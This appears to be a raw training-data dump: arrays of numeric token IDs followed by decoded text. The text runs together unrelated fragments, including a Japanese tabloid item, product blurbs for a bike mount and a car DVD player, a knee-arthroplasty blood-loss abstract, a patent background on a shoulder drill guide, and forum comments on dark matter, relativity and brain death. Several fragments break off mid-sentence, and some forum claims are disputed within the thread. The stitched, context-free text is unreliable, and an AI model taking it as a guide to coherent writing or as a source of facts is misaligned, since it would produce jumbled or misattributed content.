49485, 32094, 323, 7899, 13, 7446, 494, 9205, 5609, 594, 326, 10799, 13840, 476, 320, 2797, 15, 32483, 3057, 875, 5961, 285, 17248, 31006, 556, 644, 1119, 281, 2572, 1048, 14, 3945, 21746, 15, 500, 17638, 285, 22591, 476, 320, 908, 407, 30208, 323, 13828, 253, 5961, 281, 4763, 48199, 27067, 15, 7890, 273, 841, 22591, 778, 320, 20793, 13, 2299, 13, 407, 253, 8704, 2602, 4408, 13, 13370, 13, 285, 5257, 790, 273, 253, 3110, 13, 285, 407, 253, 5853, 273, 253, 1798, 20997, 15, 2053, 7364, 4647, 281, 512, 6036, 47105, 13, 533, 597, 3782, 4623, 323, 9215, 47105, 984, 253, 2130, 6498, 2316, 778, 320, 3782, 11096, 15, 743, 1650, 273, 247, 1289, 41064, 42043, 285, 9205, 5853, 310, 2529, 275, 530, 15, 52, 15, 2790, 15, 1621, 15, 577, 13, 26, 1540, 13, 25, 2082, 281, 45262, 2522, 13, 1162, 355, 904, 534, 9469, 310, 7922, 281, 253, 9212, 1796, 273, 776, 3688, 15, 1916, 3334, 253, 2813, 2529, 407, 45262, 2522, 13, 247, 20997, 651, 1927, 291, 247, 6507, 2553, 1561, 253, 1289, 41064, 13369, 1411, 534, 247, 6507, 24309, 2553, 273, 253, 1289, 41064, 42043, 651, 1551, 15, 380, 20997, 1364, 671, 21353, 7899, 11385, 323, 759, 5943, 15, 1310, 253, 42043, 310, 13613, 10877, 327, 253, 5961, 13, 253, 42043, 588, 417, 5561, 1411, 253, 5961, 285, 253, 6036, 651, 320, 1679, 2779, 281, 1891, 15, 380, 20997, 943, 3103, 13, 13613, 10347, 253, 1289, 41064, 2553, 281, 4763, 253, 42043, 15, 187, 1992, 10347, 253, 2553, 13, 21353, 22591, 285, 20665, 452, 644, 908, 15, 496, 253, 2469, 13, 2299, 13, 841, 21353, 22591, 452, 3839, 644, 10877, 342, 4229, 22139, 15, 329, 4229, 6016, 3400, 7882, 323, 253, 21353, 7102, 13, 533, 253, 21353, 7102, 2550, 320, 4354, 12956, 281, 253, 1798, 3110, 390, 253, 3740, 273, 253, 16362, 20997, 15, 20599, 273, 824, 21353, 22591, 2130, 281, 30208, 403, 1110, 4197, 407, 6943, 2755, 323, 616, 6943, 43712, 792, 29369, 14592, 2698, 12266, 14482, 254, 285, 6943, 12406, 25323, 14592, 2698, 14482, 254, 390, 407, 35122, 8710, 6487, 323, 616, 330, 1171, 1001, 29369, 14592, 2698, 12266, 14482, 254, 4155, 15, 187, 1147, 310, 271, 1789, 273, 776, 3688, 13, 3103, 13, 281, 2085, 247, 21353, 7102, 323, 897, 275, 9373, 45647, 5869, 534, 476, 5223, 281, 3110, 30559, 285, 9205, 5853, 15, 187, 1147, 310, 671, 271, 1789, 273, 776, 3688, 281, 2085, 247, 21353, 7102, 534, 476, 320, 1097, 5223, 494, 285, 6474, 15, 187, 8195, 1789, 273, 776, 3688, 310, 281, 2085, 247, 9205, 21353, 7102, 342, 247, 6016, 534, 476, 320, 1863, 400, 17371, 281, 247, 6799, 1899, 285, 12623, 275, 1899, 15, 40091, 6527, 6327, 48047, 818, 2949, 44202, 33995, 1433, 1372, 9277, 17509, 45516, 947, 187, 187, 13443, 11451, 187, 187, 15886, 14721, 253, 5753, 275, 253, 896, 7319, 1293, 2192, 663, 1076, 1512, 1199, 4723, 327, 634, 4310, 2395, 15, 187, 187, 18142, 74, 706, 18272, 434, 329, 11804, 29412, 37, 8528, 18332, 818, 8, 3492, 3601, 342, 4270, 14, 249, 17509, 4760, 24772, 512, 253, 4295, 368, 878, 323, 247, 6109, 3492, 985, 275, 247, 11638, 5522, 1293, 247, 2972, 67, 8976, 4376, 6809, 15, 187, 187, 510, 985, 417, 760, 7120, 634, 17509, 11321, 13, 352, 1833, 6016, 634, 45444, 285, 12732, 20, 4367, 13, 1512, 15, 187, 187, 1147, 3249, 342, 767, 5239, 273, 11744, 40613, 285, 30171, 247, 4270, 14, 249, 26518, 13, 594, 634, 16479, 275, 896, 476, 8028, 281, 5913, 597, 1472, 7487, 275, 11068, 1223, 368, 4264, 634, 275, 14, 27207, 36167, 598, 2914, 15, 187, 187, 3980, 13, 604, 253, 2644, 1113, 5605, 281, 6604, 275, 327, 253, 794, 13, 368, 476, 897, 253, 11744, 20160, 26518, 281, 8325, 253, 9797, 2625, 281, 634, 36167, 13, 534, 686, 31876, 44358, 8, 352, 689, 271, 30732, 20160, 4294, 13, 987 ]	、予約の時点で１０００件を超え、以後もオーダーが絶えません。宣伝もしていないし、異例のことです」と驚きを隠さない。同映画の池島ゆたか監督によれば「最後に会ったのは１３年の忘年会。その後の消息は全くわかりません」という。池島監督は坂ノ上の素質を高く評価している。「演技は決してうまくない。でも集中力があり、マジメだったので、経験を積めば伸びしろがあると思いました。そしてあの類いまれなる肉体。くびれと自然な形の巨乳がすばらしい。また仕事したいですよ。どこにいるんだ？出てきてよ。心当たりのある方、ぜひ連絡を下さい！」と本紙を通じて呼びかけた。坂ノ上が所属していた事務所「月の石」は「引退でスパッと芸能界とは縁を切り、今は普通の仕事をしているようです。復活はないでしょうね」と断言した。それでも高まる坂ノ上への“復活ラブコール”。本人はどう思っているのだろうか。Garmin Out-Front Bike Mount The Garmin Out-Front Bike Mount has a comfortable heads-up position to increase your field of vision and safety on the road or trail. Forward mount reduces the risks of accidents and hazards caused by looking down. Used by pros and competitive cyclists, it's the perfect addition to your Garmin computer.Surviving Cancer July 2, 2014, 2:02 a.m. - Larry Zaruba, 59, of Yoakum has survived cancer three times in the past ten years. He was first diagnosed with soft palette cancer in 2003, with lung cancer in 2007, and then voice box cancer in 2013.[Factors affecting blood loss in total knee arthroplasty patients]. The aim of the study was to identify the factors affecting major blood loss in patients undergoing total knee arthroplasty (TKA), in order to reduce blood loss and requirements for blood transfusion. This prospective randomized study included 80/184 patients treated by TKA at University Hospital of Traumatology, Zagreb, Croatia, from January 2005 till December 2007. The following parameters were analyzed: patient age, sex, body mass index (BMI), arterial blood pressure, preoperative hemoglobin level and hemoglobin level preceding blood transfusion, length of surgery, blood loss and volume of blood transfused. According to patient age, there were no differences in the length of surgery, blood loss volume, hemoglobin level before blood transfusion and use of blood transfusion. Older patients had lower hemoglobin level before blood transfusion and received greater volumes of blood transfusion, but the difference was not statistically significant. Male patients had a significantly higher preoperative hemoglobin level as compared to female patients (P = 0.012). The mean volume of blood loss and of transfused blood was larger in male than female patients, however, the difference did not reach statistical significance. According to BMI, there were no differences in the length of surgery, blood loss, volume of transfused blood and hemoglobin level before transfusion. Patients with a lower preoperative hemoglobin level did not lose more blood during and after surgery, but the requirement for blood transfusion was significantly higher (P = 0.014). Hypertensive patients had a statistically greater perioperative blood loss (P = 0.038), but did not receive more transfused blood (P = 0.494). Preoperative hemoglobin level was higher in patients with elevated arterial blood pressure than in those with normal blood pressure, but the difference was not statistically significant (P = 0.595). Hemoglobin level before blood transfusion was also higher in hypertensive patients than in those with normal blood pressure, but it was not statistically significant (P = 0.288). In patients with longer duration of surgery, blood loss and volume of blood transfused blood were statistically significantly greater (P = 0.003 and P = 0.015, respectively). Study results yielded a significant positive correlation between the length of surgery and the volume of blood loss (r = 0.282; P = 0.011) as well as between the length of surgery and the volume of blood transfused (r = 0.362; P = 0.001). A significant negative correlation was established between the preoperative hemoglobin level and application of blood transfusion (r = -0.250; P = 0.025). Patients with hypertension had a significantly larger blood loss volume as compared to patients with normal arterial pressure (P = 0.038) and received more blood transfusions than patients with normal blood pressure, but the difference was not statistically significant (P = 0.494). Age, sex and BMI had no statistically significant effect on blood loss volume and application of blood transfusion. Male patients had a significantly higher preoperative hemoglobin level (P=0.012), larger mean blood loss volume (P = 0.057) and received more blood transfusions than female patients, however, the difference did not reach statistical significance (P = 0.562). Based on study results, it is concluded that requirements for blood transfusion will be greater in patients with hypertension and lower preoperative hemoglobin level as well as in all cases with longer duration of surgery. To reduce the use of allogeneic blood transfusion, it is necessary to correct arterial blood pressure before surgery in hypertensive patients and also to magnify preoperative hemoglobin level if it is lower.Our invention relates to apparatus for performing orthopedic surgery and particularly for apparatus used in preparing bones of patients to receive prosthetic devices. In particular, our invention relates to a drill guide and template having a universal joint interposed between a handle and the template. The universal joint can be locked, providing great flexibility combined with stability. We have found our invention particularly useful for preparing the glenoid cavity of a shoulder, where access may be particularly constrained, but our invention is applicable to orthopedic procedures generally. Orthopedic implants which replace diseased or broken joints are well-known. In recent years, however, implants have become increasingly complex and precise. Surgeons strive for accurate, replicable surgical techniques so that precise fits can be obtained. Increased contact between bone and prostheses has been found to increase long-term fixation. Jigs and guides can be used by surgeons for preparing the bone to receive prosthetic implants. Use of these guides may be constrained, however, by the surrounding soft tissue, muscles, and tendons of the patient, and by the technique of the particular surgeon. These limitations apply to all joint replacements, but they particularly relevant for shoulder replacements because the available operating room may be particularly restricted. An example of a glenoid prosthesis and surgical technique is described in U.S. Pat. No. 4,964,865 to Burkhead, et al., which patent is assigned to the assignee of our invention. To install the device described by Burkhead, a surgeon would resect a flat surface within the glenoid cavity against which a flat medial surface of the glenoid prosthesis would rest. The surgeon must also drill accurate holes for pegs. If the prosthesis is accurately mounted on the bone, the prosthesis will not rock against the bone and the joint would be less likely to fail. The surgeon should therefore, accurately prepare the glenoid surface to receive the prosthesis. To prepare the surface, drill guides and templates have been used. In the past, however, these drill guides have generally been mounted with fixed handles. A fixed handle provides stability for the drill guide, but the drill guide cannot be easily adapted to the particular patient or the style of the attending surgeon. Examples of such drill guides available to surgeons are those produced by Biomet for their Biomodular(.TM.) Total Shoulder and Biangular (.TM.) Shoulder or by Richards Medical Company for their Cofield(.TM.) Total Shoulder System. It is an object of our invention, therefore, to provide a drill guide for use in orthopedic surgery which can adapt to patient anatomy and surgical technique. It is also an object of our invention to provide a drill guide which can be both adaptable and stable. Another object of our invention is to provide a surgical drill guide with a handle which can be swiveled to a desired position and locked in position.AUDIOBAHN 7 IN TFT MONITOR WITH DVD PLAYER Product Description Entertain the kids in the back seat without inflicting too much damage on your bank account. Audiobahn's AVM372DVD overhead 7' video screen with built-in DVD player combines all the components you need for a mobile video system in a convenient package without a blockbuster price tag. The system not only plays your DVD movies, it'll handle your CDs and MP3 files, too. It comes with two sets of wireless headphones and packs a built-in transmitter, so your passengers in back can listen to whatever they're watching in privacy while you enjoy your in-dash stereo up front. Or, if the whole car wants to join in on the fun, you can use the wireless FM transmitter to beam the audio signal to your stereo, which 'broadcasts' it over an unused FM frequency, right
[ 273, 731, 35541, 320, 3430, 15, 6101, 6452, 8392, 432, 271, 13583, 3762, 1364, 671, 320, 3430, 13, 3738, 352, 310, 5604, 1896, 281, 3812, 13583, 11815, 432, 3451, 3762, 15, 313, 510, 6158, 369, 5506, 323, 253, 26210, 875, 2540, 285, 8131, 23463, 9372, 432, 253, 5101, 2698, 187, 187, 9586, 604, 359, 3260, 534, 1566, 369, 253, 3451, 581, 13, 347, 369, 4879, 407, 1529, 20731, 13, 512, 253, 3210, 359, 452, 403, 18464, 15, 313, 4497, 13, 1580, 3210, 403, 8077, 6787, 273, 1524, 262, 187, 187, 3, 4045, 368, 871, 2139, 4214, 5712, 18473, 13840, 253, 941, 359, 452, 5728, 594, 973, 32, 12238, 368, 1014, 28860, 281, 1089, 562, 2139, 10950, 2868, 275, 841, 1841, 865, 187, 187, 4041, 1537, 973, 4282, 13, 984, 352, 434, 5604, 417, 984, 9942, 310, 17211, 1037, 13333, 342, 253, 1551, 273, 1384, 394, 5331, 5859, 15, 187, 187, 1909, 247, 2647, 273, 34057, 382, 24536, 13, 309, 1353, 4361, 598, 327, 253, 1495, 273, 21003, 285, 521, 7125, 342, 253, 1165, 46, 952, 387, 253, 2774, 13, 285, 253, 14338, 2181, 326, 27287, 562, 387, 479, 310, 849, 1199, 21003, 6566, 326, 9942, 369, 760, 247, 50010, 246, 187, 187, 1394, 943, 1239, 949, 380, 5721, 44166, 30223, 980, 13, 6845, 15, 337, 13, 835, 5721, 44166, 25264, 441, 326, 627, 310, 642, 824, 2181, 347, 247, 686, 5672, 8, 3762, 275, 5859, 15, 1876, 5859, 556, 2455, 2218, 310, 281, 6266, 3626, 16958, 347, 973, 347, 1896, 15, 831, 3548, 626, 247, 19652, 273, 5859, 13, 285, 352, 434, 417, 1014, 247, 2159, 4202, 15, 380, 1682, 11813, 359, 452, 403, 387, 1682, 34754, 13, 285, 667, 747, 3762, 359, 1833, 2455, 4417, 598, 588, 760, 320, 1805, 13, 625, 18144, 34754, 15, 9942, 285, 1165, 5518, 403, 347, 686, 5672, 8, 347, 359, 878, 731, 281, 320, 275, 253, 16400, 5020, 273, 1083, 187, 187, 34, 2159, 13, 3164, 3430, 8813, 27, 767, 9959, 273, 11123, 3007, 1356, 342, 1016, 643, 15, 2896, 18918, 253, 14839, 273, 253, 29395, 3486, 13, 359, 476, 923, 835, 512, 253, 28556, 5120, 313, 6320, 10, 2647, 2427, 428, 28556, 5120, 2647, 924, 10892, 715, 643, 28556, 5120, 2647, 11330, 28378, 6353, 751, 1269, 14, 20237, 13, 534, 359, 476, 923, 15, 1723, 13, 407, 17565, 253, 18924, 9655, 272, 4269, 407, 841, 767, 11123, 13, 359, 476, 3653, 835, 954, 273, 253, 2280, 2427, 428, 285, 352, 434, 1663, 2080, 745, 432, 253, 4055, 273, 253, 28556, 5120, 2647, 15, 8079, 13, 352, 4453, 751, 954, 273, 253, 2280, 273, 1016, 13649, 858, 417, 8008, 1516, 409, 1530, 17859, 342, 253, 2280, 273, 253, 643, 15, 187, 187, 510, 3762, 273, 3644, 2647, 11424, 436, 1663, 973, 15, 378, 552, 5120, 2647, 29290, 1516, 409, 1530, 17859, 342, 643, 28556, 5120, 2647, 13, 285, 594, 672, 253, 16950, 7368, 4352, 13, 697, 28556, 790, 28837, 1066, 313, 3022, 247, 16950, 12060, 949, 1824, 481, 1723, 13, 3644, 2647, 1057, 417, 8008, 1516, 409, 1530, 17859, 342, 28556, 5120, 2647, 13, 390, 1077, 1199, 387, 512, 342, 643, 3644, 2647, 13, 594, 253, 3644, 2647, 4295, 273, 1016, 13649, 816, 26702, 12841, 253, 3486, 285, 4934, 327, 1469, 15, 187, 187, 29285, 2647, 285, 3644, 2341, 6403, 626, 816, 11813, 326, 247, 12190, 273, 43837, 14306, 661, 7320, 562, 273, 616, 718, 265, 15, 187, 187, 54, 2188, 78, 13, 2686, 1051, 187, 187, 1231, 452, 8839, 642, 1480, 1941, 273, 2057, 15, 187, 187, 1231, 452, 7418, 5795, 11813, 326, 5513, 13, 1293, 501, 12655, 281, 3981, 253, 10325, 187, 5040, 1346, 273, 9161, 6, 20624, 362, 836, 3288, 13, 2710, 31101, 824, 347, 18924, 9381, 285, 253, 10466, 187, 266, 16174, 10144, 273, 253, 46228, 15, 187, 187, 19515, 275, 2564, 326, 1919, 1390, 2129, 13, 359, 574, 642, 1480, 1941, 273, 1633, 594, 5044, 281, 187, 26944, 12057, 347, 253, 39878, 83, 1566, 28, 1078, 326, 13, 359, 574, 346, 19198, 264, 3, 10917, 13597, 896, 281, 313, 255, 1878, 10, 187, 38, 14985, 40756, 15, 380, 2370, 1705, 285, 564, 13, 285, 1293, 41374, 13, 5661, 1941, 13, 359, 452, 387, 1682, 247, 187, 7645, 326, 13840, 253, 941, 428, 5803, 13, 347, 2080, 1512, 1142, 952, 1646, 281, 2868, 13, 247, 7933, 7899, 187, 10008, 273, 8103, 6612, 15, 187, 187, 42, 1089, 352, 8644, 326, 952, 665, 6468, 626, 1014, 28860, 281, 1263, 253, 941, 390, 253, 1921, 323, 24316, 751, 3644, 187, 30596, 1928, 253, 878, 281, 1056, 718, 24291, 5701, 670, 952, 665, 1849, 12832, 9940, 616, 4852, 281, 352, 15, 187, 187, 510, 15871, 753, 642, 824, 2181, 15, 754, 7960, 24045, 13, 285, 417, 1293, 690, 3720, 275, 958, 13, 326, 247, 3846, 6773, 187, 11159, 973, 1335, 452, 11454, 2425, 15, 16600, 275, 2564, 13, 323, 2067, 3038, 846, 2471, 14, 1171, 14, 783, 14, 40338, 313, 7955, 1946, 327, 187, 783, 2847, 13, 273, 2282, 582, 253, 8485, 5020, 273, 1341, 275, 253, 2133, 1335, 789, 816, 4030, 15, 187, 187, 4125, 13, 604, 344, 574, 753, 1633, 751, 346, 5430, 513, 359, 871, 33791, 2506, 626, 452, 11454, 48009, 995, 309, 651, 5194, 342, 634, 187, 3321, 28, 533, 359, 594, 15225, 2096, 346, 26975, 3, 326, 634, 41962, 1657, 13806, 7197, 327, 368, 685, 327, 634, 2303, 15, 187, 187, 36906, 346, 18711, 1941, 3446, 1707, 434, 642, 346, 18711, 1941, 3, 326, 253, 5448, 4961, 13, 533, 368, 2997, 352, 1057, 984, 368, 923, 352, 434, 2538, 15, 380, 36926, 32793, 1543, 2085, 6425, 1941, 323, 253, 6242, 273, 14182, 24704, 15, 309, 1599, 13, 368, 475, 14958, 11, 1007, 598, 253, 12895, 1543, 13, 1904, 626, 368, 32, 187, 187, 29129, 13, 253, 7466, 2281, 273, 253, 10325, 310, 38757, 15, 25792, 15, 4683, 436, 627, 310, 8839, 642, 5545, 13, 347, 359, 2686, 513, 452, 1480, 1941, 17227, 352, 15, 1737, 434, 8479, 352, 32, 187, 187, 25179, 13, 627, 310, 1480, 1941, 273, 690, 3644, 2647, 15, 41017, 247, 2257, 273, 3678, 285, 8660, 556, 644, 1119, 326, 3589, 626, 24802, 1078, 253, 346, 19001, 2647, 3, 9079, 2210, 562, 15, 3808, 8197, 309, 1849, 2326, 1691, 352, 347, 1029, 347, 1384, 6, 273, 253, 346, 33722, 3, 2280, 15, 14182, 2647, 310, 2647, 359, 6468, 626, 2540, 2568, 13, 285, 352, 37591, 313, 31330, 10, 452, 3607, 326, 1056, 352, 2834, 281, 10018, 15, 187, 187, 19515, 275, 2564, 326, 1919, 1390, 2129, 13, 359, 574, 642, 1480, 1941, 273, 1633, 594, 5044, 281, 4980, 12057, 347, 253, 39878, 83, 1566, 187, 187, 15953, 13, 533, 436, 3908, 3815, 5224, 326, 368, 1053, 626, 871, 752, 368, 403, 5015, 670, 15, 187, 187, 6407, 745, 13, 253, 39878, 83, 1566, 310, 3430, 13, 359, 2168, 3260, 326, 15, 1292, 604, 368, 1663, 1599, 253, 1566, 273, 6488, 24679, 13, 253, 2097, 25136, 11051, 16104, 22517, 13, 840, 352, 556, 644, 4080, 285, 5762, 285, 310, 3451, 281, 5111, 431, 14860, 14492, 5053, 13, 326, 368, 651, 452, 247, 1892, 673, 4560, 1529, 3762, 326, 369, 5762, 1014, 625, 685, 1165, 1703, 15, 187, 187, 2042, 368, 23103, 326, 760, 3965, 7968, 812, 1599, 346, 18711, 1941, 3, 840, 368, 871, 2717, 670, 4588, 33010, 187, 187, 1231, 452, 7418, 5795, 11813, 326, 5513, 13, 1293, 501, 12655, 281, 3981, 253, 10325, 8414, 273, 9161, 6, 20624, 362, 836, 3288, 13, 2710, 31101, 824, 347, 18924, 9381, 285, 253, 10466, 30393, 273, 253, 46228, 15, 187, 187, 2302, 15, 844, 1053, 626, 15, 2064, 434, 253, 2644, 1127, 15, 14182, 2647, 3589, 626, 23179, 323, 253, 7085, 273, 352, 15, 22042, 11168, 398, 36968, 352, 323, 8007, 15, 733, 369, 9142, 7607, 10534, 984, 352, 4821, 281, 1509, 21899, 5216, 285, 643, 11813, 1904, 626, 15, 187, 187, 1147, 434, 1896, 281, 4417, 598, 5795, 11813, 281, 5513, 2060, 16958, 824, 347, 39668, 9381, 9191, 313, 70, 15, 72, 904, 353, 28104, 481, 1292, 597, 512, 1891, 672, 368, 1611, 281, 10486, 5513, 2709, 16958, 824, 347, 39668, 9381, 9191, 285, 12280, 7941, 19729, 1658, 447, 285, 2393, 10325, 2605, 4702, 285, 13649, 7368, 8062, 285, 1051, 368, 755, 253, 2934, 15, 187, 187, 510, 3998, 476, 1335, 1159, 672, 686, 21590, 3846, 2464, 19296, 670, 352, 15, 5402, 2862, 3998, 2506, 626, 3150, 2378, 368, 1053, 626, 755, 2217, 7768, 323, 247, 1643, 2909, 13, 368, 816, 476, 626, 6558, 253, 8680, 6287, 1925, 14099, 15, 3771, 984, 273, 326, 13, 2506, 626, 1599, 253, 1341, 6403, 626, 1335, 15415, 15, 3932, 368, 1472, 22382, 13, 2167, 13, 368, 778, 347, 973, 320, 3846, 604, 368, 476, 1620, 9295, 432, 352, 15, 187, 187, 9323, 68, 35715, 310, 247, 2581, 13765, 6287, 275, 253, 3998, 15, 31279, 4723, 281, 629, 273, 326, 6287, 476, 5416, 326, 368, 1620, 11772, 598, 13, 5734, 247, 1854, 1475, 326, 4723, 310, 4447, 13, 534, 778, 390, 778, 417, 5108, 15, 844, 1849, 2326, 952, 11772, 598, 432, 389, 284, 846, 1107, 13, 984, 616, 3998, 556, 4447, 9130, 1475, 253, 4723, 15, 187, 187, 5872, 359, 755, 715, 253, 2644, 8881, 273, 686, 5371, 310, 2471, 5554, 11793, 3998, 2471, 651, 1599, 326, 253, 2862, 3998, 310, 3846, 13, 285, 476, 1620, 9295, 432, 352, 15, 11573, 21371, 273, 1341, 476, 11883, 323, 247, 2180, 273, 673, 13, 533, 597, 588, 1900, 3150, 275, 253, 990, 604, 597, 6403, 626, 2970, 253, 7768, 16, 14115, 16, 1222, 23680, 597, 878, 15, 1893, 13, 22382, 310, 3846, 32, 1621, 13, 352, 434, 816, 22382, 15, 844, 476, 12129, 875, 45753, 13, 4600, 13, 2471, 13, 3966, 15, 21638, 3697, 571, 5711, 943, 452, 644, 2783, 3846, 13, 1580, 559, 2270, 6, 273, 617, 3998, 369, 3846, 13, 533, 984, 703, 2692, 690, 5044, 3998, 852, 3470, 13, 952, 753, 703, 369, 9338, 15, 496, 6612, 13, 703, 369, 1679, 9338, 285, 1679, 2104, 281, 320, 43941, 685, 3095, 665, 11210, 626, 574, 247, 10724, 275, 3578, 2909, 2, 187, 187, 71, 22410, 310, 247, 29156, 7935, 2429, 281, 752, 17452, 1029, 6064, 33736, 14478, 588, 921, 441, 275, 253, 2852, 15, 187, 187, 10605, 14478, 310, 24251, 281, 253, 19025, 9153, 83, 2625, 313, 395, 10575, 273, 352, 481, 1284, 10973, 4302, 16424, 285, 48347, 454, 78, 528, 27935, 403, 6786, 13, 352, 588, 320, 1896, 281, 4044, 2120, 33736, 941, 313, 20465, 5333, 10, 275, 1635, 281, 40798, 941, 15, 3105, 760, 323, 253, 19025, 533, 323, 643, 14539, 11192, 326, 4711, 271, 19790, 2625, 313, 1171, 534, 512, 253, 5642, 1139, 3299, 3603, 452, 387, 1878, 581, 481, 1284, 12649, 10293, 23598, 3885, 187, 187, 6407, 314, 13, 7418, 18403, 13204, 6551, 21559, 285, 2905, 4910, 273, 11369, 715, 616, 20162, 7811, 13, 594, 352, 3133, 3965, 5165, 326, 436, 3589, 626, 247, 12190, 273, 9699, 4369, 346, 1466, 8, 187, 84, 1973, 247, 4216, 16, 7645, 1476, 26246, 15, 5220, 13, 697, 3965, 1846, 323, 46008, 281, 2186, 7759, 275, 247, 346, 10984, 3, 5859, 347, 973, 13, 594, 634, 8492, 310, 3164, 26415, 275, 24492, 15, 187, 10951, 314, 13, 352, 3133, 281, 479, 751, 326, 616, 1127, 3589, 626, 326, 253, 43918, 3589, 626, 7996, 2217, 13, 390, 1798, 2217, 15, 7820, 253, 1895, 3133, 281, 320, 247, 187, 187, 510, 1755, 14478, 908, 327, 7497, 310, 13, 309, 2868, 13, 898, 15, 19, 308, 428, 816, 1175, 2217, 281, 923, 2060, 8512, 285, 1056, 562, 253, 40041, 14954, 15, 380, 1755, 14478, 908, 327, 5074, 310, 8003, 281, 1249, 308, 15, 9225, 1356, 824, 1029, 5212, 4910, 403, 2011, 281, 320, 4999, 13, 368, 812, 9580, 247, 2257, 273, 4217, 1491, 327, 253, 15415, 273, 253, 3998, 15, 187, 187, 1989, 309, 923, 642, 1039, 273, 16778, 5415, 941, 387, 1029, 6064, 15, 4325, 5553, 50085, 949, 281, 6318, 17823, 13, 627, 434, 1900, 247, 5454, 14, 2727, 875, 6064, 275, 2317, 285, 6064, 275, 673, 15, 380, 701, 85, 187, 187, 5804, 359, 7525, 432, 436, 941, 326, 253, 24791, 310, 15966, 275, 253, 187, 5726, 4911, 14, 29114, 4836, 32, 30445, 417, 15, 1737, 359, 476, 3653, 310, 326, 3632, 187, 24946, 275, 253, 444, 8022, 2069, 12395, 778, 4917, 46541, 1543, 604, 2709, 14023, 187 ]	of them MUST be wrong. Any conclusion drawn from an incorrect theory must also be wrong, although it is certainly possible to draw incorrect conclusions from correct theory. (The latter was responsible for the discrepancy between observed and predicted neutrino counts from the sun.) Even if we knew which model was the correct one, as was noted by another poster, all the models we have are incomplete. (Well, since models are simplifications of realit "Do you know why General Relativity fits the data we have collected so well? Have you even bothered to find out why scientists believe in these things?" One might well wonder, because it's certainly not because GR is philosophically compatible with the rest of 20th century science. As a matter of hobbyist curiosity, I'm reading up on the life of Einstein and his arguments with the QM people at the moment, and the curious thing that jumps out at me is how much Einstein believed that GR was only a provisional t You should read through The Feynman Lectures, Vol. 1, where Feynman reminds us that there is no such thing as a 'true' theory in science. All science has ever done is to describe natural phenomena as well as possible. This isn't a flaw of science, and it's not even a shortcoming. The best theories we have are at best approximations, and any new theory we'll ever cook up will only be better, more sophisticated approximations. GR and QFT are as 'true' as we need them to be in the overwhelming majority of case A short, probably wrong explanation: two clusters of galaxies collided with each other. By analyzing the emissions of the resultant impact, we can see where all the baryonic (normal) matter went - baryonic matter smacking into other baryonic matter produces energetic particles like x-rays, which we can see. However, by examining the gravitational lensing caused by these two galaxies, we can determine where most of the mass went - and it's really far off from the center of the baryonic matter. Indeed, it looks like most of the mass of each galaxy did not interact electromagnetically with the mass of the other. The theory of dark matter explains this really well. Baryonic matter interacts electromagnetically with other baryonic matter, and so when the bullet cluster hit, its baryons slowed down (like a bullet flying through water). However, dark matter does not interact electromagnetically with baryonic matter, or very much at all with other dark matter, so the dark matter components of each galaxy just kinda ignored the impact and kept on going. Dark matter and dark energy aren't just theories that a bunch of arrogant pricks pulled out of their asses. Ummm, actually... We have absolutely no direct evidence of either. We have numerous alternative theories that explain, without resorting to saying the universe consists of 96% invisible voodoo, various anomalies such as gravitational rotation and the implied anisotropy of the CMB. Keep in mind that until last week, we had no direct evidence of something so basic to modern physics as the Bohr model; before that, we had "hooked" atoms dating back to (at least) Epicurus. Theories come and go, and without reproducible, experimental evidence, we have at best a model that fits the data - NOT, as far too many people seem to believe, a necessarily accurate description of objective reality. I find it amazing that people who haven't even bothered to study the data or the reason for hypotheses like dark matter feel the need to make ass backwards comments about people who've literally dedicated their lives to it. The GP said no such thing. He merely hypothesized, and not without some basis in fact, that a dead fish may well still have neural activity. Keep in mind, for several hours after death-of-the-whole (depending on the cause, of course), the vast majority of cells in the body still work just fine. Now, if he had said something like "how do we know gravel doesn't have neural impulses", I would agree with your position; but we so poorly understand "death" that your ridicule reflects worse on you than on your target. Define "direct evidence". There's no "direct evidence" that the wind exists, but you accept it does because you see it's effects. The Bullet Cluster results provide equivalent evidence for the existence of Dark Matter. I mean, you did look up the BC results, didn't you? Similarly, the expansion rate of the universe is accelerating. Period. Of this there is absolutely no doubt, as we actually do have direct evidence demonstrating it. What's causing it? Actually, there is direct evidence of some dark matter. Quite a lot of gas and dust has been found that wasn't observable before the "dark matter" hypothesis came out. Some estimates I've seen put it as high as 20% of the "missing" mass. Dark matter is matter we haven't observed yet, and it MAY (probably) have properties that make it difficult to observe. Keep in mind that until last week, we had no direct evidence of something so basic to modern physics as the Bohr model Sorry, but this statement alone indicate that you don't know what you are talking about. First off, the Bohr model is wrong, we already knew that. But if you really mean the model of electron orbits, the means Quantum Electrodynamics, then it has been measured and tested and is correct to umpteenth decimal places, that you would have a hard time finding another theory that was tested even more than QED. If you insist that only pretty pictures could mean "direct evidence" then you know nothing about actual sci We have numerous alternative theories that explain, without resorting to saying the universe consists of 96% invisible voodoo, various anomalies such as gravitational rotation and the implied anisotropy of the CMB. No. We don't. That's the whole point. Dark matter wasn't invented for the hell of it. Astronomers resisted it for decades. It was ultimately accepted precisely because it continued to pass observational tests and other theories didn't. It's possible to cook up alternative theories to explain individual phenomena such as galactic rotation curves (e.g., MOND). But they all fail when you try to simultaneously explain multiple phenomena such as galactic rotation curves and CMBR anisotropies and early universe structure formation and galaxy cluster dynamics and... you get the idea. The brain can still function when 'brain dead.' Think about it. Your entire brain doesn't die once you don't get enough oxygen for a few minutes, you just can't maintain the feedback loop called consciousness. Just because of that, doesn't mean the cells aren't still functioning. Since you're unconscious, though, you may as well be dead if you can never recover from it. Consciousness is a rather circular loop in the brain. Minor damage to part of that loop can ensure that you never wake up, unless a path around that damage is formed, which may or may not happen. We've seen people wake up from comas after years, because their brain has formed pathways around the damage. Then we get into the whole debate of 'what is death?' True brain death would mean that the entire brain is dead, and can never recover from it. Little pockets of cells can survive for a period of time, but they will always die in the end if they aren't getting the oxygen/energy/minerals they need. So, unconscious is dead? No, it's just unconscious. We can distinguish between coma, sleep, death, etc. Terry Schiavo should have been considered dead, since +90% of her brain was dead, but because she showed some basic brainstem functions, people said she was alive. In reality, she was less alive and less able to be revived than someone who hasn't had a pulse in ten minutes! fMRI is a blunt instrument compared to what ultra high resolution spectroscopic MRI will show us in the future. Current MRI is tuned to the proton nmr signal (and variations of it). As magnet technology advances and ginourmous gradients are achieved, it will be possible to obtain full spectroscopic data (chemical shift) in addition to positional data. Not only for the proton but for other isotopes that produce an NMR signal (of which all the CHONPS elements have at least one). As aquisition electronics speed Firstly, numerous universities bundle neuroscience and related fields of engineering into their psychology department, so it seems pretty apparent that this wasn't a bunch of cognitive psych "Let' s build a graph/model!" junk. Also, its pretty common for psychologists to hold degrees in a "hard" science as well, so your bias is probably rooted in ignorance. 